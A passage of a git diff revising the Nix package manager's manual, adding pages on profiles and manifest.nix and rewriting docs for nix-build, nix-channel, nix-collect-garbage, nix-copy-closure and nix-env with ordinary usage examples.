`packages.x86_64-linux.hello` and the empty string to + `packages.x86_64-linux.default`. + +* `storePath`: The paths in the Nix store containing the package. + +* `active`: Whether the profile contains symlinks to the files of this + package. If set to false, the package is kept in the Nix store, but + is not "visible" in the profile's symlink tree. diff --git a/doc/manual/src/command-ref/files/manifest.nix.md b/doc/manual/src/command-ref/files/manifest.nix.md new file mode 100644 index 000000000..d7d1b605b --- /dev/null +++ b/doc/manual/src/command-ref/files/manifest.nix.md @@ -0,0 +1,128 @@ +## `manifest.nix` + +The manifest file records the provenance of the packages that are installed in a [profile](./profiles.md) managed by [`nix-env`](@docroot@/command-ref/nix-env.md). + +Here is an example of how this file might look like after installing `hello` from Nixpkgs: + +```nix +[{ + meta = { + available = true; + broken = false; + changelog = + "https://git.savannah.gnu.org/cgit/hello.git/plain/NEWS?h=v2.12.1"; + description = "A program that produces a familiar, friendly greeting"; + homepage = "https://www.gnu.org/software/hello/manual/"; + insecure = false; + license = { + deprecated = false; + free = true; + fullName = "GNU General Public License v3.0 or later"; + redistributable = true; + shortName = "gpl3Plus"; + spdxId = "GPL-3.0-or-later"; + url = "https://spdx.org/licenses/GPL-3.0-or-later.html"; + }; + longDescription = '' + GNU Hello is a program that prints "Hello, world!" when you run it. + It is fully customizable. + ''; + maintainers = [{ + email = "edolstra+nixpkgs@gmail.com"; + github = "edolstra"; + githubId = 1148549; + name = "Eelco Dolstra"; + }]; + name = "hello-2.12.1"; + outputsToInstall = [ "out" ]; + platforms = [ + "i686-cygwin" + "x86_64-cygwin" + "x86_64-darwin" + "i686-darwin" + "aarch64-darwin" + "armv7a-darwin" + "i686-freebsd13" + "x86_64-freebsd13" + "aarch64-genode" + "i686-genode" + "x86_64-genode" + "x86_64-solaris" + "js-ghcjs" + "aarch64-linux" + "armv5tel-linux" + "armv6l-linux" + "armv7a-linux" + "armv7l-linux" + "i686-linux" + "m68k-linux" + "microblaze-linux" + "microblazeel-linux" + "mipsel-linux" + "mips64el-linux" + "powerpc64-linux" + "powerpc64le-linux" + "riscv32-linux" + "riscv64-linux" + "s390-linux" + "s390x-linux" + "x86_64-linux" + "mmix-mmixware" + "aarch64-netbsd" + "armv6l-netbsd" + "armv7a-netbsd" + "armv7l-netbsd" + "i686-netbsd" + "m68k-netbsd" + "mipsel-netbsd" + "powerpc-netbsd" + "riscv32-netbsd" + "riscv64-netbsd" + "x86_64-netbsd" + "aarch64_be-none" + "aarch64-none" + "arm-none" + "armv6l-none" + "avr-none" + "i686-none" + "microblaze-none" + "microblazeel-none" + "msp430-none" + "or1k-none" + "m68k-none" + "powerpc-none" + "powerpcle-none" + "riscv32-none" + "riscv64-none" + "rx-none" + "s390-none" + "s390x-none" + "vc4-none" + "x86_64-none" + "i686-openbsd" + "x86_64-openbsd" + "x86_64-redox" + "wasm64-wasi" + "wasm32-wasi" + "x86_64-windows" + "i686-windows" + ]; + position = + "/nix/store/7niq32w715567hbph0q13m5lqna64c1s-nixos-unstable.tar.gz/nixos-unstable.tar.gz/pkgs/applications/misc/hello/default.nix:34"; + unfree = false; + unsupported = false; + }; + name = "hello-2.12.1"; + out = { + outPath = "/nix/store/260q5867crm1xjs4khgqpl6vr9kywql1-hello-2.12.1"; + }; + outPath = "/nix/store/260q5867crm1xjs4khgqpl6vr9kywql1-hello-2.12.1"; + outputs = [ "out" ]; + system = "x86_64-linux"; + type = "derivation"; +}] +``` + +Each element in this list corresponds to an installed package. +It incorporates some attributes of the original derivation, including `meta`, `name`, `out`, `outPath`, `outputs`, `system`. +This information is used by Nix for querying and updating the package. diff --git a/doc/manual/src/command-ref/files/profiles.md b/doc/manual/src/command-ref/files/profiles.md new file mode 100644 index 000000000..b5c737880 --- /dev/null +++ b/doc/manual/src/command-ref/files/profiles.md @@ -0,0 +1,74 @@ +## Profiles + +A directory that contains links to profiles managed by [`nix-env`] and [`nix profile`]: + +- `$XDG_STATE_HOME/nix/profiles` for regular users +- `$NIX_STATE_DIR/profiles/per-user/root` if the user is `root` + +A profile is a directory of symlinks to files in the Nix store. + +### Filesystem layout + +Profiles are versioned as follows. When using a profile named *path*, *path* is a symlink to *path*`-`*N*`-link`, where *N* is the version of the profile. +In turn, *path*`-`*N*`-link` is a symlink to a path in the Nix store. +For example: + +```console +$ ls -l ~alice/.local/state/nix/profiles/profile* +lrwxrwxrwx 1 alice users 14 Nov 25 14:35 /home/alice/.local/state/nix/profiles/profile -> profile-7-link +lrwxrwxrwx 1 alice users 51 Oct 28 16:18 /home/alice/.local/state/nix/profiles/profile-5-link -> /nix/store/q69xad13ghpf7ir87h0b2gd28lafjj1j-profile +lrwxrwxrwx 1 alice users 51 Oct 29 13:20 /home/alice/.local/state/nix/profiles/profile-6-link -> /nix/store/6bvhpysd7vwz7k3b0pndn7ifi5xr32dg-profile +lrwxrwxrwx 1 alice users 51 Nov 25 14:35 /home/alice/.local/state/nix/profiles/profile-7-link -> /nix/store/mp0x6xnsg0b8qhswy6riqvimai4gm677-profile +``` + +Each of these symlinks is a root for the Nix garbage collector. + +The contents of the store path corresponding to each version of the +profile is a tree of symlinks to the files of the installed packages, +e.g. + +```console +$ ll -R ~eelco/.local/state/nix/profiles/profile-7-link/ +/home/eelco/.local/state/nix/profiles/profile-7-link/: +total 20 +dr-xr-xr-x 2 root root 4096 Jan 1 1970 bin +-r--r--r-- 2 root root 1402 Jan 1 1970 manifest.nix +dr-xr-xr-x 4 root root 4096 Jan 1 1970 share + +/home/eelco/.local/state/nix/profiles/profile-7-link/bin: +total 20 +lrwxrwxrwx 5 root root 79 Jan 1 1970 chromium -> /nix/store/ijm5k0zqisvkdwjkc77mb9qzb35xfi4m-chromium-86.0.4240.111/bin/chromium +lrwxrwxrwx 7 root root 87 Jan 1 1970 spotify -> /nix/store/w9182874m1bl56smps3m5zjj36jhp3rn-spotify-1.1.26.501.gbe11e53b-15/bin/spotify +lrwxrwxrwx 3 root root 79 Jan 1 1970 zoom-us -> /nix/store/wbhg2ga8f3h87s9h5k0slxk0m81m4cxl-zoom-us-5.3.469451.0927/bin/zoom-us + +/home/eelco/.local/state/nix/profiles/profile-7-link/share/applications: +total 12 +lrwxrwxrwx 4 root root 120 Jan 1 1970 chromium-browser.desktop -> /nix/store/4cf803y4vzfm3gyk3vzhzb2327v0kl8a-chromium-unwrapped-86.0.4240.111/share/applications/chromium-browser.desktop +lrwxrwxrwx 7 root root 110 Jan 1 1970 spotify.desktop -> /nix/store/w9182874m1bl56smps3m5zjj36jhp3rn-spotify-1.1.26.501.gbe11e53b-15/share/applications/spotify.desktop +lrwxrwxrwx 3 root root 107 Jan 1 1970 us.zoom.Zoom.desktop -> /nix/store/wbhg2ga8f3h87s9h5k0slxk0m81m4cxl-zoom-us-5.3.469451.0927/share/applications/us.zoom.Zoom.desktop + +… +``` + +Each profile version contains a manifest file: +- [`manifest.nix`](@docroot@/command-ref/files/manifest.nix.md) used by [`nix-env`](@docroot@/command-ref/nix-env.md). +- [`manifest.json`](@docroot@/command-ref/files/manifest.json.md) used by [`nix profile`](@docroot@/command-ref/new-cli/nix3-profile.md) (experimental). + +## User profile link + +A symbolic link to the user's current profile: + +- `~/.nix-profile` +- `$XDG_STATE_HOME/nix/profile` if [`use-xdg-base-directories`] is set to `true`. + +By default, this symlink points to: + +- `$XDG_STATE_HOME/nix/profiles/profile` for regular users +- `$NIX_STATE_DIR/profiles/per-user/root/profile` for `root` + +The `PATH` environment variable should include `/bin` subdirectory of the profile link (e.g. `~/.nix-profile/bin`) for the user environment to be visible to the user. +The [installer](@docroot@/installation/installing-binary.md) sets this up by default, unless you enable [`use-xdg-base-directories`]. + +[`nix-env`]: @docroot@/command-ref/nix-env.md +[`nix profile`]: @docroot@/command-ref/new-cli/nix3-profile.md +[`use-xdg-base-directories`]: @docroot@/command-ref/conf-file.md#conf-use-xdg-base-directories diff --git a/doc/manual/src/command-ref/command-ref.md b/doc/manual/src/command-ref/index.md similarity index 100% rename from doc/manual/src/command-ref/command-ref.md rename to doc/manual/src/command-ref/index.md diff --git a/doc/manual/src/command-ref/nix-build.md b/doc/manual/src/command-ref/nix-build.md index 3a47feaae..3bb59cbed 100644 --- a/doc/manual/src/command-ref/nix-build.md +++ b/doc/manual/src/command-ref/nix-build.md @@ -37,10 +37,12 @@ directory containing at least a file named `default.nix`. `nix-build` is essentially a wrapper around [`nix-instantiate`](nix-instantiate.md) (to translate a high-level Nix -expression to a low-level store derivation) and [`nix-store ---realise`](nix-store.md#operation---realise) (to build the store +expression to a low-level [store derivation]) and [`nix-store +--realise`](@docroot@/command-ref/nix-store/realise.md) (to build the store derivation). +[store derivation]: @docroot@/glossary.md#gloss-store-derivation + > **Warning** > > The result of the build is automatically registered as a root of the @@ -49,31 +51,35 @@ derivation). # Options -All options not listed here are passed to `nix-store ---realise`, except for `--arg` and `--attr` / `-A` which are passed to -`nix-instantiate`. +All options not listed here are passed to +[`nix-store --realise`](nix-store/realise.md), +except for `--arg` and `--attr` / `-A` which are passed to [`nix-instantiate`](nix-instantiate.md). - - [`--no-out-link`](#opt-no-out-link) +- [`--no-out-link`](#opt-no-out-link) - Do not create a symlink to the output path. Note that as a result - the output does not become a root of the garbage collector, and so - might be deleted by `nix-store --gc`. + Do not create a symlink to the output path. Note that as a result + the output does not become a root of the garbage collector, and so + might be deleted by `nix-store --gc`. - - [`--dry-run`](#opt-dry-run) +- [`--dry-run`](#opt-dry-run) - Show what store paths would be built or downloaded. + Show what store paths would be built or downloaded. - - [`--out-link`](#opt-out-link) / `-o` *outlink* +- [`--out-link`](#opt-out-link) / `-o` *outlink* - Change the name of the symlink to the output path created from - `result` to *outlink*. + Change the name of the symlink to the output path created from + `result` to *outlink*. -The following common options are supported: +{{#include ./status-build-failure.md}} + +{{#include ./opt-common.md}} + +{{#include ./env-common.md}} # Examples ```console -$ nix-build '' -A firefox +$ nix-build '' --attr firefox store derivation is /nix/store/qybprl8sz2lc...-firefox-1.5.0.7.drv /nix/store/d18hyl92g30l...-firefox-1.5.0.7 @@ -88,7 +94,7 @@ If a derivation has multiple outputs, `nix-build` will build the default (first) output. You can also build all outputs: ```console -$ nix-build '' -A openssl.all +$ nix-build '' --attr openssl.all ``` This will create a symlink for each output named `result-outputname`. @@ -98,7 +104,7 @@ outputs `out`, `bin` and `man`, `nix-build` will create symlinks specific output: ```console -$ nix-build '' -A openssl.man +$ nix-build '' --attr openssl.man ``` This will create a symlink `result-man`. @@ -106,7 +112,7 @@ This will create a symlink `result-man`. Build a Nix expression given on the command line: ```console -$ nix-build -E 'with import { }; runCommand "foo" { } "echo bar > $out"' +$ nix-build --expr 'with import { }; runCommand "foo" { } "echo bar > $out"' $ cat ./result bar ``` @@ -115,5 +121,5 @@ Build the GNU Hello package from the latest revision of the master branch of Nixpkgs: ```console -$ nix-build https://github.com/NixOS/nixpkgs/archive/master.tar.gz -A hello +$ nix-build https://github.com/NixOS/nixpkgs/archive/master.tar.gz --attr hello ``` diff --git a/doc/manual/src/command-ref/nix-channel.md b/doc/manual/src/command-ref/nix-channel.md index 24353525f..8b58392b7 100644 --- a/doc/manual/src/command-ref/nix-channel.md +++ b/doc/manual/src/command-ref/nix-channel.md @@ -4,93 +4,109 @@ # Synopsis -`nix-channel` {`--add` url [*name*] | `--remove` *name* | `--list` | `--update` [*names…*] | `--rollback` [*generation*] } +`nix-channel` {`--add` url [*name*] | `--remove` *name* | `--list` | `--update` [*names…*] | `--list-generations` | `--rollback` [*generation*] } # Description -A Nix channel is a mechanism that allows you to automatically stay -up-to-date with a set of pre-built Nix expressions. A Nix channel is -just a URL that points to a place containing a set of Nix expressions. +Channels are a mechanism for referencing remote Nix expressions and conveniently retrieving their latest version. -To see the list of official NixOS channels, visit -. +The moving parts of channels are: +- The official channels listed at +- The user-specific list of [subscribed channels](#subscribed-channels) +- The [downloaded channel contents](#channels) +- The [Nix expression search path](@docroot@/command-ref/conf-file.md#conf-nix-path), set with the [`-I` option](#opt-i) or the [`NIX_PATH` environment variable](#env-NIX_PATH) + +> **Note** +> +> The state of a subscribed channel is external to the Nix expressions relying on it. +> This may limit reproducibility. +> +> Dependencies on other Nix expressions can be declared explicitly with: +> - [`fetchurl`](@docroot@/language/builtins.md#builtins-fetchurl), [`fetchTarball`](@docroot@/language/builtins.md#builtins-fetchTarball), or [`fetchGit`](@docroot@/language/builtins.md#builtins-fetchGit) in Nix expressions +> - the [`-I` option](@docroot@/command-ref/opt-common.md#opt-I) in command line invocations This command has the following operations: - - `--add` *url* \[*name*\]\ - Adds a channel named *name* with URL *url* to the list of subscribed - channels. If *name* is omitted, it defaults to the last component of - *url*, with the suffixes `-stable` or `-unstable` removed. +- `--add` *url* \[*name*\] - - `--remove` *name*\ - Removes the channel named *name* from the list of subscribed - channels. + Add a channel *name* located at *url* to the list of subscribed channels. + If *name* is omitted, default to the last component of *url*, with the suffixes `-stable` or `-unstable` removed. - - `--list`\ - Prints the names and URLs of all subscribed channels on standard - output. + > **Note** + > + > `--add` does not automatically perform an update. + > Use `--update` explicitly. - - `--update` \[*names*…\]\ - Downloads the Nix expressions of all subscribed channels (or only - those included in *names* if specified) and makes them the default - for `nix-env` operations (by symlinking them from the directory - `~/.nix-defexpr`). + A channel URL must point to a directory containing a file `nixexprs.tar.gz`. + At the top level, that tarball must contain a single directory with a `default.nix` file that serves as the channel’s entry point. - - `--rollback` \[*generation*\]\ - Reverts the previous call to `nix-channel - --update`. Optionally, you can specify a specific channel generation - number to restore. +- `--remove` *name* -Note that `--add` does not automatically perform an update. + Remove the channel *name* from the list of subscribed channels. -The list of subscribed channels is stored in `~/.nix-channels`. +- `--list` + + Print the names and URLs of all subscribed channels on standard output. + +- `--update` \[*names*…\] + + Download the Nix expressions of subscribed channels and create a new generation. + Update all channels if none is specified, and only those included in *names* otherwise. + +- `--list-generations` + + Prints a list of all the current existing generations for the + channel profile. + + Works the same way as + ``` + nix-env --profile /nix/var/nix/profiles/per-user/$USER/channels --list-generations + ``` + +- `--rollback` \[*generation*\] + + Revert channels to the state before the last call to `nix-channel --update`. + Optionally, you can specify a specific channel *generation* number to restore. + +{{#include ./opt-common.md}} + +{{#include ./env-common.md}} + +# Files + +`nix-channel` operates on the following files. + +{{#include ./files/channels.md}} # Examples -To subscribe to the Nixpkgs channel and install the GNU Hello package: +Subscribe to the Nixpkgs channel and run `hello` from the GNU Hello package: ```console $ nix-channel --add https://nixos.org/channels/nixpkgs-unstable +$ nix-channel --list +nixpkgs https://nixos.org/channels/nixpkgs $ nix-channel --update -$ nix-env -iA nixpkgs.hello +$ nix-shell -p hello --run hello +hello ``` -You can revert channel updates using `--rollback`: +Revert channel updates using `--rollback`: ```console -$ nix-instantiate --eval -E '(import {}).lib.version' -"14.04.527.0e935f1" +$ nix-instantiate --eval '' --attr lib.version +"22.11pre296212.530a53dcbc9" $ nix-channel --rollback switching from generation 483 to 482 -$ nix-instantiate --eval -E '(import {}).lib.version' -"14.04.526.dbadfad" +$ nix-instantiate --eval '' --attr lib.version +"22.11pre281526.d0419badfad" ``` -# Files +Remove a channel: - - `/nix/var/nix/profiles/per-user/username/channels`\ - `nix-channel` uses a `nix-env` profile to keep track of previous - versions of the subscribed channels. Every time you run `nix-channel - --update`, a new channel generation (that is, a symlink to the - channel Nix expressions in the Nix store) is created. This enables - `nix-channel --rollback` to revert to previous versions. - - - `~/.nix-defexpr/channels`\ - This is a symlink to - `/nix/var/nix/profiles/per-user/username/channels`. It ensures that - `nix-env` can find your channels. In a multi-user installation, you - may also have `~/.nix-defexpr/channels_root`, which links to the - channels of the root user. - -# Channel format - -A channel URL should point to a directory containing the following -files: - - - `nixexprs.tar.xz`\ - A tarball containing Nix expressions and files referenced by them - (such as build scripts and patches). At the top level, the tarball - should contain a single directory. That directory must contain a - file `default.nix` that serves as the channel’s “entry point”. +```console +$ nix-channel --remove nixpkgs +$ nix-channel --list +``` diff --git a/doc/manual/src/command-ref/nix-collect-garbage.md b/doc/manual/src/command-ref/nix-collect-garbage.md index 296165993..2136d28e9 100644 --- a/doc/manual/src/command-ref/nix-collect-garbage.md +++ b/doc/manual/src/command-ref/nix-collect-garbage.md @@ -1,6 +1,6 @@ # Name -`nix-collect-garbage` - delete unreachable store paths +`nix-collect-garbage` - delete unreachable [store objects] # Synopsis @@ -8,17 +8,63 @@ # Description -The command `nix-collect-garbage` is mostly an alias of [`nix-store ---gc`](nix-store.md#operation---gc), that is, it deletes all -unreachable paths in the Nix store to clean up your system. However, -it provides two additional options: `-d` (`--delete-old`), which -deletes all old generations of all profiles in `/nix/var/nix/profiles` -by invoking `nix-env --delete-generations old` on all profiles (of -course, this makes rollbacks to previous configurations impossible); -and `--delete-older-than` *period*, where period is a value such as -`30d`, which deletes all generations older than the specified number -of days in all profiles in `/nix/var/nix/profiles` (except for the -generations that were active at that point in time). +The command `nix-collect-garbage` is mostly an alias of [`nix-store --gc`](@docroot@/command-ref/nix-store/gc.md). +That is, it deletes all unreachable [store objects] in the Nix store to clean up your system. + +However, it provides two additional options, +[`--delete-old`](#opt-delete-old) and [`--delete-older-than`](#opt-delete-older-than), +which also delete old [profiles], allowing potentially more [store objects] to be deleted because profiles are also garbage collection roots. +These options are the equivalent of running +[`nix-env --delete-generations`](@docroot@/command-ref/nix-env/delete-generations.md) +with various augments on multiple profiles, +prior to running `nix-collect-garbage` (or just `nix-store --gc`) without any flags. + +> **Note** +> +> Deleting previous configurations makes rollbacks to them impossible. + +These flags should be used with care, because they potentially delete generations of profiles used by other users on the system. + +## Locations searched for profiles + +`nix-collect-garbage` cannot know about all profiles; that information doesn't exist. +Instead, it looks in a few locations, and acts on all profiles it finds there: + +1. The default profile locations as specified in the [profiles] section of the manual. + +2. > **NOTE** + > + > Not stable; subject to change + > + > Do not rely on this functionality; it just exists for migration purposes and is may change in the future. + > These deprecated paths remain a private implementation detail of Nix. + + `$NIX_STATE_DIR/profiles` and `$NIX_STATE_DIR/profiles/per-user`. + + With the exception of `$NIX_STATE_DIR/profiles/per-user/root` and `$NIX_STATE_DIR/profiles/default`, these directories are no longer used by other commands. + `nix-collect-garbage` looks there anyways in order to clean up profiles from older versions of Nix. + +# Options + +These options are for deleting old [profiles] prior to deleting unreachable [store objects]. + +- [`--delete-old`](#opt-delete-old) / `-d` + + Delete all old generations of profiles. + + This is the equivalent of invoking [`nix-env --delete-generations old`](@docroot@/command-ref/nix-env/delete-generations.md#generations-old) on each found profile. + +- [`--delete-older-than`](#opt-delete-older-than) *period* + + Delete all generations of profiles older than the specified amount (except for the generations that were active at that point in time). + *period* is a value such as `30d`, which would mean 30 days. + + This is the equivalent of invoking [`nix-env --delete-generations `](@docroot@/command-ref/nix-env/delete-generations.md#generations-time) on each found profile. + See the documentation of that command for additional information about the *period* argument. + +{{#include ./opt-common.md}} + +{{#include ./env-common.md}} # Example @@ -28,3 +74,6 @@ generations of each profile, do ```console $ nix-collect-garbage -d ``` + +[profiles]: @docroot@/command-ref/files/profiles.md +[store objects]: @docroot@/store/store-object.md diff --git a/doc/manual/src/command-ref/nix-copy-closure.md b/doc/manual/src/command-ref/nix-copy-closure.md index 9a29030bd..8cfd6ebad 100644 --- a/doc/manual/src/command-ref/nix-copy-closure.md +++ b/doc/manual/src/command-ref/nix-copy-closure.md @@ -1,85 +1,91 @@ # Name -`nix-copy-closure` - copy a closure to or from a remote machine via SSH +`nix-copy-closure` - copy store objects to or from a remote machine via SSH # Synopsis `nix-copy-closure` - [`--to` | `--from`] + [`--to` | `--from` ] [`--gzip`] [`--include-outputs`] [`--use-substitutes` | `-s`] [`-v`] - _user@machine_ _paths_ + [_user_@]_machine_[:_port_] _paths_ # Description -`nix-copy-closure` gives you an easy and efficient way to exchange -software between machines. Given one or more Nix store _paths_ on the -local machine, `nix-copy-closure` computes the closure of those paths -(i.e. all their dependencies in the Nix store), and copies all paths -in the closure to the remote machine via the `ssh` (Secure Shell) -command. With the `--from` option, the direction is reversed: the -closure of _paths_ on a remote machine is copied to the Nix store on -the local machine. +Given _paths_ from one machine, `nix-copy-closure` computes the [closure](@docroot@/glossary.md#gloss-closure) of those paths (i.e. all their dependencies in the Nix store), and copies [store objects](@docroot@/glossary.md#gloss-store-object) in that closure to another machine via SSH. +It doesn’t copy store objects that are already present on the other machine. -This command is efficient because it only sends the store paths -that are missing on the target machine. +> **Note** +> +> While the Nix store to use on the local machine can be specified on the command line with the [`--store`](@docroot@/command-ref/conf-file.md#conf-store) option, the Nix store to be accessed on the remote machine can only be [configured statically](@docroot@/command-ref/conf-file.md#configuration-file) on that remote machine. -Since `nix-copy-closure` calls `ssh`, you may be asked to type in the -appropriate password or passphrase. In fact, you may be asked _twice_ -because `nix-copy-closure` currently connects twice to the remote -machine, first to get the set of paths missing on the target machine, -and second to send the dump of those paths. When using public key -authentication, you can avoid typing the passphrase with `ssh-agent`. +Since `nix-copy-closure` calls `ssh`, you may need to authenticate with the remote machine. +In fact, you may be asked for authentication _twice_ because `nix-copy-closure` currently connects twice to the remote machine: first to get the set of paths missing on the target machine, and second to send the dump of those paths. +When using public key authentication, you can avoid typing the passphrase with `ssh-agent`. # Options - - `--to`\ - Copy the closure of _paths_ from the local Nix store to the Nix - store on _machine_. This is the default. +- `--to` - - `--from`\ - Copy the closure of _paths_ from the Nix store on _machine_ to the - local Nix store. + Copy the closure of _paths_ from a Nix store accessible from the local machine to the Nix store on the remote _machine_. + This is the default behavior. - - `--gzip`\ - Enable compression of the SSH connection. +- `--from` - - `--include-outputs`\ - Also copy the outputs of store derivations included in the closure. + Copy the closure of _paths_ from the Nix store on the remote _machine_ to the local machine's specified Nix store. - - `--use-substitutes` / `-s`\ - Attempt to download missing paths on the target machine using Nix’s - substitute mechanism. Any paths that cannot be substituted on the - target are still copied normally from the source. This is useful, - for instance, if the connection between the source and target - machine is slow, but the connection between the target machine and - `nixos.org` (the default binary cache server) is - fast. +- `--gzip` - - `-v`\ - Show verbose output. + Enable compression of the SSH connection. + +- `--include-outputs` + + Also copy the outputs of [store derivation]s included in the closure. + + [store derivation]: @docroot@/glossary.md#gloss-store-derivation + +- `--use-substitutes` / `-s` + + Attempt to download missing store objects on the target from [substituters](@docroot@/command-ref/conf-file.md#conf-substituters). + Any store objects that cannot be substituted on the target are still copied normally from the source. + This is useful, for instance, if the connection between the source and target machine is slow, but the connection between the target machine and `cache.nixos.org` (the default binary cache server) is fast. + +{{#include ./opt-common.md}} # Environment variables - - `NIX_SSHOPTS`\ - Additional options to be passed to `ssh` on the command - line. +- `NIX_SSHOPTS` + + Additional options to be passed to `ssh` on the command line. + +{{#include ./env-common.md}} # Examples -Copy Firefox with all its dependencies to a remote machine: +> **Example** +> +> Copy GNU Hello with all its dependencies to a remote machine: +> +> ```shell-session +> $ storePath="$(nix-build '' -I nixpkgs=channel:nixpkgs-unstable -A hello --no-out-link)" +> $ nix-copy-closure --to alice@itchy.example.org "$storePath" +> copying 5 paths... +> copying path '/nix/store/nrwkk6ak3rgkrxbqhsscb01jpzmslf2r-xgcc-13.2.0-libgcc' to 'ssh://alice@itchy.example.org'... +> copying path '/nix/store/gm61h1y42pqyl6178g90x8zm22n6pyy5-libunistring-1.1' to 'ssh://alice@itchy.example.org'... +> copying path '/nix/store/ddfzjdykw67s20c35i7a6624by3iz5jv-libidn2-2.3.7' to 'ssh://alice@itchy.example.org'... +> copying path '/nix/store/apab5i73dqa09wx0q27b6fbhd1r18ihl-glibc-2.39-31' to 'ssh://alice@itchy.example.org'... +> copying path '/nix/store/g1n2vryg06amvcc1avb2mcq36faly0mh-hello-2.12.1' to 'ssh://alice@itchy.example.org'... +> ``` -```console -$ nix-copy-closure --to alice@itchy.labs $(type -tP firefox) -``` - -Copy Subversion from a remote machine and then install it into a user -environment: - -```console -$ nix-copy-closure --from alice@itchy.labs \ - /nix/store/0dj0503hjxy5mbwlafv1rsbdiyx1gkdy-subversion-1.4.4 -$ nix-env -i /nix/store/0dj0503hjxy5mbwlafv1rsbdiyx1gkdy-subversion-1.4.4 -``` +> **Example** +> +> Copy GNU Hello from a remote machine using a known store path, and run it: +> +> ```shell-session +> $ storePath="$(nix-instantiate --eval '' -I nixpkgs=channel:nixpkgs-unstable -A hello.outPath | tr -d '"')" +> $ nix-copy-closure --from alice@itchy.example.org "$storePath" +> $ "$storePath"/bin/hello +> Hello, world! +> ``` diff --git a/doc/manual/src/command-ref/nix-env.md b/doc/manual/src/command-ref/nix-env.md index a5df35d77..c6f627365 100644 --- a/doc/manual/src/command-ref/nix-env.md +++ b/doc/manual/src/command-ref/nix-env.md @@ -4,15 +4,14 @@ # Synopsis -`nix-env` +`nix-env` *operation* [*options*] [*arguments…*] [`--option` *name* *value*] [`--arg` *name* *value*] [`--argstr` *name* *value*] [{`--file` | `-f`} *path*] - [{`--profile` | `-p`} *path(] + [{`--profile` | `-p`} *path*] [`--system-filter` *system*] [`--dry-run`] - *operation* [*options…*] [*arguments…*] # Description @@ -24,869 +23,112 @@ environments: different users can have different environments, and individual users can switch between different environments. `nix-env` takes exactly one *operation* flag which indicates the -subcommand to be performed. These are documented below. +subcommand to be performed. The following operations are available: + +- [`--install`](./nix-env/install.md) +- [`--upgrade`](./nix-env/upgrade.md) +- [`--uninstall`](./nix-env/uninstall.md) +- [`--set`](./nix-env/set.md) +- [`--set-flag`](./nix-env/set-flag.md) +- [`--query`](./nix-env/query.md) +- [`--switch-profile`](./nix-env/switch-profile.md) +- [`--list-generations`](./nix-env/list-generations.md) +- [`--delete-generations`](./nix-env/delete-generations.md) +- [`--switch-generation`](./nix-env/switch-generation.md) +- [`--rollback`](./nix-env/rollback.md) + +These pages can be viewed offline: + +- `man nix-env-`. + + Example: `man nix-env-install` + +- `nix-env --help --` + + Example: `nix-env --help --install` + +# Package sources + +`nix-env` can obtain packages from multiple sources: + +- An attribute set of derivations from: + - The [default Nix expression](@docroot@/command-ref/files/default-nix-expression.md) (by default) + - A Nix file, specified via `--file` + - A [profile](@docroot@/command-ref/files/profiles.md), specified via `--from-profile` + - A Nix expression that is a function which takes default expression as argument, specified via `--from-expression` +- A [store path](@docroot@/store/store-path.md) # Selectors -Several commands, such as `nix-env -q` and `nix-env -i`, take a list of -arguments that specify the packages on which to operate. These are -extended regular expressions that must match the entire name of the -package. (For details on regular expressions, see **regex**(7).) The match is -case-sensitive. The regular expression can optionally be followed by a -dash and a version number; if omitted, any version of the package will -match. Here are some examples: +Several operations, such as [`nix-env --query`](./nix-env/query.md) and [`nix-env --install`](./nix-env/install.md), take a list of *arguments* that specify the packages on which to operate. - - `firefox`\ - Matches the package name `firefox` and any version. +Packages are identified based on a `name` part and a `version` part of a [symbolic derivation name](@docroot@/language/derivations.md#attr-names): - - `firefox-32.0`\ - Matches the package name `firefox` and version `32.0`. +- `name`: Everything up to but not including the first dash (`-`) that is *not* followed by a letter. +- `version`: The rest, excluding the separating dash. - - `gtk\\+`\ - Matches the package name `gtk+`. The `+` character must be escaped - using a backslash to prevent it from being interpreted as a - quantifier, and the backslash must be escaped in turn with another - backslash to ensure that the shell passes it on. +> **Example** +> +> `nix-env` parses the symbolic derivation name `apache-httpd-2.0.48` as: +> +> ```json +> { +> "name": "apache-httpd", +> "version": "2.0.48" +> } +> ``` - - `.\*`\ - Matches any package name. This is the default for most commands. +> **Example** +> +> `nix-env` parses the symbolic derivation name `firefox.*` as: +> +> ```json +> { +> "name": "firefox.*", +> "version": "" +> } +> ``` - - `'.*zip.*'`\ - Matches any package name containing the string `zip`. Note the dots: - `'*zip*'` does not work, because in a regular expression, the - character `*` is interpreted as a quantifier. +The `name` parts of the *arguments* to `nix-env` are treated as extended regular expressions and matched against the `name` parts of derivation names in the package source. +The match is case-sensitive. +The regular expression can optionally be followed by a dash (`-`) and a version number; if omitted, any version of the package will match. +For details on regular expressions, see [**regex**(7)](https://linux.die.net/man/7/regex). - - `'.*(firefox|chromium).*'`\ - Matches any package name containing the strings `firefox` or - `chromium`. - -# Common options - -This section lists the options that are common to all operations. These -options are allowed for every subcommand, though they may not always -have an effect. - - - `--file` / `-f` *path*\ - Specifies the Nix expression (designated below as the *active Nix - expression*) used by the `--install`, `--upgrade`, and `--query - --available` operations to obtain derivations. The default is - `~/.nix-defexpr`. - - If the argument starts with `http://` or `https://`, it is - interpreted as the URL of a tarball that will be downloaded and - unpacked to a temporary location. The tarball must include a single - top-level directory containing at least a file named `default.nix`. - - - `--profile` / `-p` *path*\ - Specifies the profile to be used by those operations that operate on - a profile (designated below as the *active profile*). A profile is a - sequence of user environments called *generations*, one of which is - the *current generation*. - - - `--dry-run`\ - For the `--install`, `--upgrade`, `--uninstall`, - `--switch-generation`, `--delete-generations` and `--rollback` - operations, this flag will cause `nix-env` to print what *would* be - done if this flag had not been specified, without actually doing it. - - `--dry-run` also prints out which paths will be - [substituted](../glossary.md) (i.e., downloaded) and which paths - will be built from source (because no substitute is available). - - - `--system-filter` *system*\ - By default, operations such as `--query - --available` show derivations matching any platform. This option - allows you to use derivations for the specified platform *system*. - - +> **Example** +> +> Common patterns for finding package names with `nix-env`: +> +> - `firefox` +> +> Matches the package name `firefox` and any version. +> +> - `firefox-32.0` +> +> Matches the package name `firefox` and version `32.0`. +> +> - `gtk\\+` +> +> Matches the package name `gtk+`. +> The `+` character must be escaped using a backslash (`\`) to prevent it from being interpreted as a quantifier, and the backslash must be escaped in turn with another backslash to ensure that the shell passes it on. +> +> - `.\*` +> +> Matches any package name. +> This is the default for most commands. +> +> - `'.*zip.*'` +> +> Matches any package name containing the string `zip`. +> Note the dots: `'*zip*'` does not work, because in a regular expression, the character `*` is interpreted as a quantifier. +> +> - `'.*(firefox|chromium).*'` +> +> Matches any package name containing the strings `firefox` or `chromium`. # Files - - `~/.nix-defexpr`\ - The source for the default Nix expressions used by the - `--install`, `--upgrade`, and `--query --available` operations 